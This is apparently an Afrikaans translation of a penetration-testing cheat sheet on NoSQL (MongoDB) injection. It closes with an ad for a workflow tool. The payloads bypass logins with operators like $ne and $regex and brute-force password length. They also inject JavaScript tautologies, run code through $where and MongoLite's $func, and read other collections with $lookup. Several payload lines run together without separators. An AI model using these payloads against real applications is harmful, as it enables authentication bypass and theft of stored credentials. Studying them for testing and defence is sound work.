In PHP kan jy 'n Array stuur deur die gestuurde parameter te verander van parameter=foo na parameter[arrNaam]=foo.
Die uitbuitings is gebaseer op die byvoeging van 'n Operateur:
username[$ne]=1$password[$ne]=1#<Not Equals>username[$regex]=^adm$password[$ne]=1#Check a <regular expression>, could be used to brute-force a parameterusername[$regex]=.{25}&pass[$ne]=1#Use the <regex> to find the length of a valueusername[$eq]=admin&password[$ne]=1#<Equals>username[$ne]=admin&pass[$lt]=s#<Less than>, Brute-force pass[$lt] to find more usersusername[$ne]=admin&pass[$gt]=s#<Greater Than>username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits"}#<IF>,canbeusedtoexecutecode
'n Aanvaller kan dit uitbuit deur strings soos admin' || 'a'=='a in te voer, wat die versoek laat terugkeer deur al die dokumente te bevredig deur die voorwaarde met 'n tautologie ('a'=='a) te bevredig. Dit is analogies aan SQL-inspuitingsaanvalle waar insette soos ' of 1=1-- - gebruik word om SQL-versoeke te manipuleer. In MongoDB kan soortgelyke inspuitings gedoen word deur insette soos ' || 1==1//, ' || 1==1%00, of admin' || 'a'=='a.
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
Haal lengte inligting uit
username[$ne]=toto&password[$regex]=.{1}username[$ne]=toto&password[$regex]=.{3}# True if the length equals 1,3...
Deur die gebruik van die $func operator van die MongoLite biblioteek (standaard gebruik) is dit moontlik om 'n willekeurige funksie uit te voer soos in hierdie verslag.
"user":{"$func":"var_dump"}
Kry inligting vanaf verskillende versamelings
Dit is moontlik om $lookup te gebruik om inligting vanaf 'n ander versameling te kry. In die volgende voorbeeld lees ons van 'n verskillende versameling genaamd users en kry die resultate van al die inskrywings met 'n wagwoord wat ooreenstem met 'n wild card.
NOTA:$lookup en ander aggregasiefunksies is slegs beskikbaar as die aggregate()-funksie gebruik is om die soektog uit te voer in plaas van die meer algemene find() of findOne()-funksies.
Gebruik Trickest om maklik te bou en werkstrome outomatiseer wat aangedryf word deur die wêreld se mees gevorderde gemeenskapshulpmiddels.
Kry Vandaag Toegang: